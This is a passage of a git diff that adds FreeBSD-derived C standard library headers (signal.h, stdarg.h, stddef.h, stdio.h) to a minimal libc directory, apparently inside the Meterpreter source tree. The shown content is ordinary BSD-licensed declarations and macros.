int sigemptyset(sigset_t *);
|
||||
int sigfillset(sigset_t *);
|
||||
int sigismember(const sigset_t *, int);
|
||||
int sigpending(sigset_t *);
|
||||
int sigprocmask(int, const sigset_t * __restrict, sigset_t * __restrict);
|
||||
int sigsuspend(const sigset_t *);
|
||||
int sigwait(const sigset_t * __restrict, int * __restrict);
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 199506 || __XSI_VISIBLE >= 600
|
||||
int sigqueue(__pid_t, int, const union sigval);
|
||||
|
||||
struct timespec;
|
||||
int sigtimedwait(const sigset_t * __restrict, siginfo_t * __restrict,
|
||||
const struct timespec * __restrict);
|
||||
int sigwaitinfo(const sigset_t * __restrict, siginfo_t * __restrict);
|
||||
#endif
|
||||
|
||||
#if __XSI_VISIBLE
|
||||
int killpg(__pid_t, int);
|
||||
int sigaltstack(const stack_t * __restrict, stack_t * __restrict);
|
||||
int sigpause(int);
|
||||
#endif
|
||||
|
||||
#if __XSI_VISIBLE >= 600
|
||||
int siginterrupt(int, int);
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 200809 || __BSD_VISIBLE
|
||||
void psignal(unsigned int, const char *);
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
int sigblock(int);
|
||||
struct __ucontext; /* XXX spec requires a complete declaration. */
|
||||
int sigreturn(const struct __ucontext *);
|
||||
int sigsetmask(int);
|
||||
int sigstack(const struct sigstack *, struct sigstack *);
|
||||
int sigvec(int, struct sigvec *, struct sigvec *);
|
||||
#endif
|
||||
__END_DECLS
|
||||
|
||||
#endif /* !_SIGNAL_H_ */
|
75
c/meterpreter/source/ulibc/stdarg.h
Normal file
75
c/meterpreter/source/ulibc/stdarg.h
Normal file
@ -0,0 +1,75 @@
|
||||
/*-
|
||||
* Copyright (c) 2002 David E. O'Brien. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/sys/amd64/include/stdarg.h 162487 2006-09-21 01:37:02Z kan $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE_STDARG_H_
|
||||
#define _MACHINE_STDARG_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
#ifndef _VA_LIST_DECLARED
|
||||
#define _VA_LIST_DECLARED
|
||||
typedef __va_list va_list;
|
||||
#endif
|
||||
|
||||
#ifdef __GNUCLIKE_BUILTIN_STDARG
|
||||
|
||||
#define va_start(ap, last) \
|
||||
__builtin_va_start((ap), (last))
|
||||
|
||||
#define va_arg(ap, type) \
|
||||
__builtin_va_arg((ap), type)
|
||||
|
||||
#define __va_copy(dest, src) \
|
||||
__builtin_va_copy((dest), (src))
|
||||
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
#define va_copy(dest, src) \
|
||||
__va_copy(dest, src)
|
||||
#endif
|
||||
|
||||
#define va_end(ap) \
|
||||
__builtin_va_end(ap)
|
||||
|
||||
#elif defined(lint)
|
||||
/* Provide a fake implementation for lint's benefit */
|
||||
#define __va_size(type) \
|
||||
(((sizeof(type) + sizeof(long) - 1) / sizeof(long)) * sizeof(long))
|
||||
#define va_start(ap, last) \
|
||||
((ap) = (va_list)&(last) + __va_size(last))
|
||||
#define va_arg(ap, type) \
|
||||
(*(type *)((ap) += __va_size(type), (ap) - __va_size(type)))
|
||||
#define va_end(ap)
|
||||
|
||||
#else
|
||||
#error this file needs to be ported to your compiler
|
||||
#endif
|
||||
|
||||
#endif /* !_MACHINE_STDARG_H_ */
|
68
c/meterpreter/source/ulibc/stddef.h
Normal file
68
c/meterpreter/source/ulibc/stddef.h
Normal file
@ -0,0 +1,68 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)stddef.h 8.1 (Berkeley) 6/2/93
|
||||
*
|
||||
* $FreeBSD: head/include/stddef.h 123257 2003-12-07 21:10:06Z marcel $
|
||||
*/
|
||||
|
||||
#ifndef _STDDEF_H_
|
||||
#define _STDDEF_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_null.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
typedef __ptrdiff_t ptrdiff_t;
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#ifndef _RUNE_T_DECLARED
|
||||
typedef __rune_t rune_t;
|
||||
#define _RUNE_T_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef _SIZE_T_DECLARED
|
||||
typedef __size_t size_t;
|
||||
#define _SIZE_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef __cplusplus
|
||||
#ifndef _WCHAR_T_DECLARED
|
||||
typedef __wchar_t wchar_t;
|
||||
#define _WCHAR_T_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#define offsetof(type, member) __offsetof(type, member)
|
||||
|
||||
#endif /* _STDDEF_H_ */
|
516
c/meterpreter/source/ulibc/stdio.h
Normal file
516
c/meterpreter/source/ulibc/stdio.h
Normal file
@ -0,0 +1,516 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)stdio.h 8.5 (Berkeley) 4/29/95
|
||||
* $FreeBSD: head/include/stdio.h 194801 2009-06-23 23:53:35Z delphij $
|
||||
*/
|
||||
|
||||
#ifndef _STDIO_H_
|
||||
#define _STDIO_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_null.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
typedef __off_t fpos_t;
|
||||
|
||||
#ifndef _SIZE_T_DECLARED
|
||||
typedef __size_t size_t;
|
||||
#define _SIZE_T_DECLARED
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809
|
||||
#ifndef _OFF_T_DECLARED
|
||||
#define _OFF_T_DECLARED
|
||||
typedef __off_t off_t;
|
||||
#endif
|
||||
#ifndef _SSIZE_T_DECLARED
|
||||
#define _SSIZE_T_DECLARED
|
||||
typedef __ssize_t ssize_t;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE
|
||||
#ifndef _VA_LIST_DECLARED
|
||||
typedef __va_list va_list;
|
||||
#define _VA_LIST_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#define _FSTDIO /* Define for new stdio with functions. */
|
||||
|
||||
/*
|
||||
* NB: to fit things in six character monocase externals, the stdio
|
||||
* code uses the prefix `__s' for stdio objects, typically followed
|
||||
* by a three-character attempt at a mnemonic.
|
||||
*/
|
||||
|
||||
/* stdio buffers */
|
||||
struct __sbuf {
|
||||
unsigned char *_base;
|
||||
int _size;
|
||||
};
|
||||
|
||||
/*
|
||||
* stdio state variables.
|
||||
*
|
||||
* The following always hold:
|
||||
*
|
||||
* if (_flags&(__SLBF|__SWR)) == (__SLBF|__SWR),
|
||||
* _lbfsize is -_bf._size, else _lbfsize is 0
|
||||
* if _flags&__SRD, _w is 0
|
||||
* if _flags&__SWR, _r is 0
|
||||
*
|
||||
* This ensures that the getc and putc macros (or inline functions) never
|
||||
* try to write or read from a file that is in `read' or `write' mode.
|
||||
* (Moreover, they can, and do, automatically switch from read mode to
|
||||
* write mode, and back, on "r+" and "w+" files.)
|
||||
*
|
||||
* _lbfsize is used only to make the inline line-buffered output stream
|
||||
* code as compact as possible.
|
||||
*
|
||||
* _ub, _up, and _ur are used when ungetc() pushes back more characters
|
||||
* than fit in the current _bf, or when ungetc() pushes back a character
|
||||
* that does not match the previous one in _bf. When this happens,
|
||||
* _ub._base becomes non-nil (i.e., a stream has ungetc() data iff
|
||||
* _ub._base!=NULL) and _up and _ur save the current values of _p and _r.
|
||||
*
|
||||
* Certain members of __sFILE are accessed directly via macros or
|
||||
* inline functions. To preserve ABI compat, these members must not
|
||||
* be disturbed. These members are marked below with (*).
|
||||
*/
|
||||
typedef struct __sFILE {
|
||||
unsigned char *_p; /* (*) current position in (some) buffer */
|
||||
int _r; /* (*) read space left for getc() */
|
||||
int _w; /* (*) write space left for putc() */
|
||||
short _flags; /* (*) flags, below; this FILE is free if 0 */
|
||||
short _file; /* (*) fileno, if Unix descriptor, else -1 */
|
||||
struct __sbuf _bf; /* (*) the buffer (at least 1 byte, if !NULL) */
|
||||
int _lbfsize; /* (*) 0 or -_bf._size, for inline putc */
|
||||
|
||||
/* operations */
|
||||
void *_cookie; /* (*) cookie passed to io functions */
|
||||
int (*_close)(void *);
|
||||
int (*_read)(void *, char *, int);
|
||||
fpos_t (*_seek)(void *, fpos_t, int);
|
||||
int (*_write)(void *, const char *, int);
|
||||
|
||||
/* separate buffer for long sequences of ungetc() */
|
||||
struct __sbuf _ub; /* ungetc buffer */
|
||||
unsigned char *_up; /* saved _p when _p is doing ungetc data */
|
||||
int _ur; /* saved _r when _r is counting ungetc data */
|
||||
|
||||
/* tricks to meet minimum requirements even when malloc() fails */
|
||||
unsigned char _ubuf[3]; /* guarantee an ungetc() buffer */
|
||||
unsigned char _nbuf[1]; /* guarantee a getc() buffer */
|
||||
|
||||
/* separate buffer for fgetln() when line crosses buffer boundary */
|
||||
struct __sbuf _lb; /* buffer for fgetln() */
|
||||
|
||||
/* Unix stdio files get aligned to block boundaries on fseek() */
|
||||
int _blksize; /* stat.st_blksize (may be != _bf._size) */
|
||||
fpos_t _offset; /* current lseek offset */
|
||||
|
||||
struct pthread_mutex *_fl_mutex; /* used for MT-safety */
|
||||
struct pthread *_fl_owner; /* current owner */
|
||||
int _fl_count; /* recursive lock count */
|
||||
int _orientation; /* orientation for fwide() */
|
||||
__mbstate_t _mbstate; /* multibyte conversion state */
|
||||
} FILE;
|
||||
|
||||
#ifndef _STDSTREAM_DECLARED
|
||||
__BEGIN_DECLS
|
||||
extern FILE *__stdinp;
|
||||
extern FILE *__stdoutp;
|
||||
extern FILE *__stderrp;
|
||||
__END_DECLS
|
||||
#define _STDSTREAM_DECLARED
|
||||
#endif
|
||||
|
||||
#define __SLBF 0x0001 /* line buffered */
|
||||
#define __SNBF 0x0002 /* unbuffered */
|
||||
#define __SRD 0x0004 /* OK to read */
|
||||
#define __SWR 0x0008 /* OK to write */
|
||||
/* RD and WR are never simultaneously asserted */
|
||||
#define __SRW 0x0010 /* open for reading & writing */
|
||||
#define __SEOF 0x0020 /* found EOF */
|
||||
#define __SERR 0x0040 /* found error */
|
||||
#define __SMBF 0x0080 /* _buf is from malloc */
|
||||
#define __SAPP 0x0100 /* fdopen()ed in append mode */
|
||||
#define __SSTR 0x0200 /* this is an sprintf/snprintf string */
|
||||
#define __SOPT 0x0400 /* do fseek() optimization */
|
||||
#define __SNPT 0x0800 /* do not do fseek() optimization */
|
||||
#define __SOFF 0x1000 /* set iff _offset is in fact correct */
|
||||
#define __SMOD 0x2000 /* true => fgetln modified _p text */
|
||||
#define __SALC 0x4000 /* allocate string space dynamically */
|
||||
#define __SIGN 0x8000 /* ignore this file in _fwalk */
|
||||
|
||||
/*
|
||||
* The following three definitions are for ANSI C, which took them
|
||||
* from System V, which brilliantly took internal interface macros and
|
||||
* made them official arguments to setvbuf(), without renaming them.
|
||||
* Hence, these ugly _IOxxx names are *supposed* to appear in user code.
|
||||
*
|
||||
* Although numbered as their counterparts above, the implementation
|
||||
* does not rely on this.
|
||||
*/
|
||||
#define _IOFBF 0 /* setvbuf should set fully buffered */
|
||||
#define _IOLBF 1 /* setvbuf should set line buffered */
|
||||
#define _IONBF 2 /* setvbuf should set unbuffered */
|
||||
|
||||
#define BUFSIZ 1024 /* size of buffer used by setbuf */
|
||||
#define EOF (-1)
|
||||
|
||||
/*
|
||||
* FOPEN_MAX is a minimum maximum, and is the number of streams that
|
||||
* stdio can provide without attempting to allocate further resources
|
||||
* (which could fail). Do not use this for anything.
|
||||
*/
|
||||
/* must be == _POSIX_STREAM_MAX <limits.h> */
|
||||
#ifndef FOPEN_MAX
|
||||
#define FOPEN_MAX 20 /* must be <= OPEN_MAX <sys/syslimits.h> */
|
||||
#endif
|
||||
#define FILENAME_MAX 1024 /* must be <= PATH_MAX <sys/syslimits.h> */
|
||||
|
||||
/* System V/ANSI C; this is the wrong way to do this, do *not* use these. */
|
||||
#if __XSI_VISIBLE
|
||||
#define P_tmpdir "/var/tmp/"
|
||||
#endif
|
||||
#define L_tmpnam 1024 /* XXX must be == PATH_MAX */
|
||||
#define TMP_MAX 308915776
|
||||
|
||||
#ifndef SEEK_SET
|
||||
#define SEEK_SET 0 /* set file offset to offset */
|
||||
#endif
|
||||
#ifndef SEEK_CUR
|
||||
#define SEEK_CUR 1 /* set file offset to current plus offset */
|
||||
#endif
|
||||
#ifndef SEEK_END
|
||||
#define SEEK_END 2 /* set file offset to EOF plus offset */
|
||||
#endif
|
||||
|
||||
#define stdin __stdinp
|
||||
#define stdout __stdoutp
|
||||
#define stderr __stderrp
|
||||
|
||||
__BEGIN_DECLS
|
||||
/*
|
||||
* Functions defined in ANSI C standard.
|
||||
*/
|
||||
void clearerr(FILE *);
|
||||
int fclose(FILE *);
|
||||
int feof(FILE *);
|
||||
int ferror(FILE *);
|
||||
int fflush(FILE *);
|
||||
int fgetc(FILE *);
|
||||
int fgetpos(FILE * __restrict, fpos_t * __restrict);
|
||||
char *fgets(char * __restrict, int, FILE * __restrict);
|
||||
FILE *fopen(const char * __restrict, const char * __restrict);
|
||||
int fprintf(FILE * __restrict, const char * __restrict, ...);
|
||||
int fputc(int, FILE *);
|
||||
int fputs(const char * __restrict, FILE * __restrict);
|
||||
size_t fread(void * __restrict, size_t, size_t, FILE * __restrict);
|
||||
FILE *freopen(const char * __restrict, const char * __restrict, FILE * __restrict);
|
||||
int fscanf(FILE * __restrict, const char * __restrict, ...);
|
||||
int fseek(FILE *, long, int);
|
||||
int fsetpos(FILE *, const fpos_t *);
|
||||
long ftell(FILE *);
|
||||
size_t fwrite(const void * __restrict, size_t, size_t, FILE * __restrict);
|
||||
int getc(FILE *);
|
||||
int getchar(void);
|
||||
char *gets(char *);
|
||||
void perror(const char *);
|
||||
int printf(const char * __restrict, ...);
|
||||
int putc(int, FILE *);
|
||||
int putchar(int);
|
||||
int puts(const char *);
|
||||
int remove(const char *);
|
||||
int rename(const char *, const char *);
|
||||
void rewind(FILE *);
|
||||
int scanf(const char * __restrict, ...);
|
||||
void setbuf(FILE * __restrict, char * __restrict);
|
||||
int setvbuf(FILE * __restrict, char * __restrict, int, size_t);
|
||||
int sprintf(char * __restrict, const char * __restrict, ...);
|
||||
int sscanf(const char * __restrict, const char * __restrict, ...);
|
||||
FILE *tmpfile(void);
|
||||
char *tmpnam(char *);
|
||||
int ungetc(int, FILE *);
|
||||
int vfprintf(FILE * __restrict, const char * __restrict,
|
||||
__va_list);
|
||||
int vprintf(const char * __restrict, __va_list);
|
||||
int vsprintf(char * __restrict, const char * __restrict,
|
||||
__va_list);
|
||||
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
int snprintf(char * __restrict, size_t, const char * __restrict,
|
||||
...) __printflike(3, 4);
|
||||
int vfscanf(FILE * __restrict, const char * __restrict, __va_list)
|
||||
__scanflike(2, 0);
|
||||
int vscanf(const char * __restrict, __va_list) __scanflike(1, 0);
|
||||
int vsnprintf(char * __restrict, size_t, const char * __restrict,
|
||||
__va_list) __printflike(3, 0);
|
||||
int vsscanf(const char * __restrict, const char * __restrict, __va_list)
|
||||
__scanflike(2, 0);
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Functions defined in all versions of POSIX 1003.1.
|
||||
*/
|
||||
#if __BSD_VISIBLE || __POSIX_VISIBLE <= 199506
|
||||
/* size for cuserid(3); UT_NAMESIZE + 1, see <utmp.h> */
|
||||
#define L_cuserid 17 /* legacy */
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE
|
||||
#define L_ctermid 1024 /* size for ctermid(3); PATH_MAX */
|
||||
|
||||
char *ctermid(char *);
|
||||
FILE *fdopen(int, const char *);
|
||||
int fileno(FILE *);
|
||||
#endif /* __POSIX_VISIBLE */
|
||||
|
||||
#if __POSIX_VISIBLE >= 199209
|
||||
int pclose(FILE *);
|
||||
FILE *popen(const char *, const char *);
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 199506
|
||||
int ftrylockfile(FILE *);
|
||||
void flockfile(FILE *);
|
||||
void funlockfile(FILE *);
|
||||
|
||||
/*
|
||||
* These are normally used through macros as defined below, but POSIX
|
||||
* requires functions as well.
|
||||
*/
|
||||
int getc_unlocked(FILE *);
|
||||
int getchar_unlocked(void);
|
||||
int putc_unlocked(int, FILE *);
|
||||
int putchar_unlocked(int);
|
||||
#endif
|
||||
#if __BSD_VISIBLE
|
||||
void clearerr_unlocked(FILE *);
|
||||
int feof_unlocked(FILE *);
|
||||
int ferror_unlocked(FILE *);
|
||||
int fileno_unlocked(FILE *);
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 200112
|
||||
int fseeko(FILE *, __off_t, int);
|
||||
__off_t ftello(FILE *);
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE || __XSI_VISIBLE > 0 && __XSI_VISIBLE < 600
|
||||
int getw(FILE *);
|
||||
int putw(int, FILE *);
|
||||
#endif /* BSD or X/Open before issue 6 */
|
||||
|
||||
#if __XSI_VISIBLE
|
||||
char *tempnam(const char *, const char *);
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809
|
||||
ssize_t getdelim(char ** __restrict, size_t * __restrict, int,
|
||||
FILE * __restrict);
|
||||
int renameat(int, const char *, int, const char *);
|
||||
int vdprintf(int, const char * __restrict, __va_list);
|
||||
|
||||
/*
|
||||
* Every programmer and his dog wrote functions called getline() and dprintf()
|
||||
* before POSIX.1-2008 came along and decided to usurp the names, so we
|
||||
* don't prototype them by default unless one of the following is true:
|
||||
* a) the app has requested them specifically by defining _WITH_GETLINE or
|
||||
* _WITH_DPRINTF, respectively
|
||||
* b) the app has requested a POSIX.1-2008 environment via _POSIX_C_SOURCE
|
||||
* c) the app defines a GNUism such as _BSD_SOURCE or _GNU_SOURCE
|
||||
*/
|
||||
#ifndef _WITH_GETLINE
|
||||
#if defined(_BSD_SOURCE) || defined(_GNU_SOURCE)
|
||||
#define _WITH_GETLINE
|
||||
#elif defined(_POSIX_C_SOURCE)
|
||||
#if _POSIX_C_SOURCE >= 200809
|
||||
#define _WITH_GETLINE
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef _WITH_GETLINE
|
||||
ssize_t getline(char ** __restrict, size_t * __restrict, FILE * __restrict);
|
||||
#endif
|
||||
|
||||
#ifndef _WITH_DPRINTF
|
||||
#if defined(_BSD_SOURCE) || defined(_GNU_SOURCE)
|
||||
#define _WITH_DPRINTF
|
||||
#elif defined(_POSIX_C_SOURCE)
|
||||
#if _POSIX_C_SOURCE >= 200809
|
||||
#define _WITH_DPRINTF
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef _WITH_DPRINTF
|
||||
int (dprintf)(int, const char * __restrict, ...);
|
||||
#endif
|
||||
|
||||
#endif /* __BSD_VISIBLE || __POSIX_VISIBLE >= 200809 */
|
||||
|
||||
/*
|
||||
* Routines that are purely local.
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
int asprintf(char **, const char *, ...) __printflike(2, 3);
|
||||
char *ctermid_r(char *);
|
||||
void fcloseall(void);
|
||||
char *fgetln(FILE *, size_t *);
|
||||
const char *fmtcheck(const char *, const char *) __format_arg(2);
|
||||
int fpurge(FILE *);
|
||||
void setbuffer(FILE *, char *, int);
|
||||
int setlinebuf(FILE *);
|
||||
int vasprintf(char **, const char *, __va_list)
|
||||
__printflike(2, 0);
|
||||
|
||||
/*
|
||||
* The system error table contains messages for the first sys_nerr
|
||||
* positive errno values. Use strerror() or strerror_r() from <string.h>
|
||||
* instead.
|
||||
*/
|
||||
extern __const int sys_nerr;
|
||||
extern __const char *__const sys_errlist[];
|
||||
|
||||
/*
|
||||
* Stdio function-access interface.
|
||||
*/
|
||||
FILE *funopen(const void *,
|
||||
int (*)(void *, char *, int),
|
||||
int (*)(void *, const char *, int),
|
||||
fpos_t (*)(void *, fpos_t, int),
|
||||
int (*)(void *));
|
||||
#define fropen(cookie, fn) funopen(cookie, fn, 0, 0, 0)
|
||||
#define fwopen(cookie, fn) funopen(cookie, 0, fn, 0, 0)
|
||||
|
||||
/*
|
||||
* Portability hacks. See <sys/types.h>.
|
||||
*/
|
||||
#ifndef _FTRUNCATE_DECLARED
|
||||
#define _FTRUNCATE_DECLARED
|
||||
int ftruncate(int, __off_t);
|
||||
#endif
|
||||
#ifndef _LSEEK_DECLARED
|
||||
#define _LSEEK_DECLARED
|
||||
__off_t lseek(int, __off_t, int);
|
||||
#endif
|
||||
#ifndef _MMAP_DECLARED
|
||||
#define _MMAP_DECLARED
|
||||
void *mmap(void *, size_t, int, int, int, __off_t);
|
||||
#endif
|
||||
#ifndef _TRUNCATE_DECLARED
|
||||
#define _TRUNCATE_DECLARED
|
||||
int truncate(const char *, __off_t);
|
||||
#endif
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
/*
|
||||
* Functions internal to the implementation.
|
||||
*/
|
||||
int __srget(FILE *);
|
||||
int __swbuf(int, FILE *);
|
||||
|
||||
/*
|
||||
* The __sfoo macros are here so that we can
|
||||
* define function versions in the C library.
|
||||
*/
|
||||
#define __sgetc(p) (--(p)->_r < 0 ? __srget(p) : (int)(*(p)->_p++))
|
||||
#if defined(__GNUC__) && defined(__STDC__)
|
||||
static __inline int __sputc(int _c, FILE *_p) {
|
||||
if (--_p->_w >= 0 || (_p->_w >= _p->_lbfsize && (char)_c != '\n'))
|
||||
return (*_p->_p++ = _c);
|
||||
else
|
||||
return (__swbuf(_c, _p));
|
||||
}
|
||||
#else
|
||||
/*
|
||||
* This has been tuned to generate reasonable code on the vax using pcc.
|
||||
*/
|
||||
#define __sputc(c, p) \
|
||||
(--(p)->_w < 0 ? \
|
||||
(p)->_w >= (p)->_lbfsize ? \
|
||||
(*(p)->_p = (c)), *(p)->_p != '\n' ? \
|
||||
(int)*(p)->_p++ : \
|
||||
__swbuf('\n', p) : \
|
||||
__swbuf((int)(c), p) : \
|
||||
(*(p)->_p = (c), (int)*(p)->_p++))
|
||||
#endif
|
||||
|
||||
#define __sfeof(p) (((p)->_flags & __SEOF) != 0)
|
||||
#define __sferror(p) (((p)->_flags & __SERR) != 0)
|
||||
#define __sclearerr(p) ((void)((p)->_flags &= ~(__SERR|__SEOF)))
|
||||
#define __sfileno(p) ((p)->_file)
|
||||
|
||||
extern int __isthreaded;
|
||||
|
||||
#define feof(p) (!__isthreaded ? __sfeof(p) : (feof)(p))
|
||||
#define ferror(p) (!__isthreaded ? __sferror(p) : (ferror)(p))
|
||||
#define clearerr(p) (!__isthreaded ? __sclearerr(p) : (clearerr)(p))
|
||||
|
||||
#if __POSIX_VISIBLE
|
||||
#define fileno(p) (!__isthreaded ? __sfileno(p) : (fileno)(p))
|
||||
#endif
|
||||
|
||||
#define getc(fp) (!__isthreaded ? __sgetc(fp) : (getc)(fp))
|
||||
#define putc(x, fp) (!__isthreaded ? __sputc(x, fp) : (putc)(x, fp))
|
||||
|
||||
#define getchar() getc(stdin)
|
||||
#define putchar(x) putc(x, stdout)
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/*
|
||||
* See ISO/IEC 9945-1 ANSI/IEEE Std 1003.1 Second Edition 1996-07-12
|
||||
* B.8.2.7 for the rationale behind the *_unlocked() macros.
|
||||
*/
|
||||
#define feof_unlocked(p) __sfeof(p)
|
||||
#define ferror_unlocked(p) __sferror(p)
|
||||
#define clearerr_unlocked(p) __sclearerr(p)
|
||||
#define fileno_unlocked(p) __sfileno(p)
|
||||
#endif
|
||||
#if __POSIX_VISIBLE >= 199506
|
||||
#define getc_unlocked(fp) __sgetc(fp)
|
||||
#define putc_unlocked(x, fp) __sputc(x, fp)
|
||||
|
||||
#define getchar_unlocked() getc_unlocked(stdin)
|
||||
#define putchar_unlocked(x) putc_unlocked(x, stdout)
|
||||
#endif
|
||||
|
||||
__END_DECLS
|
||||
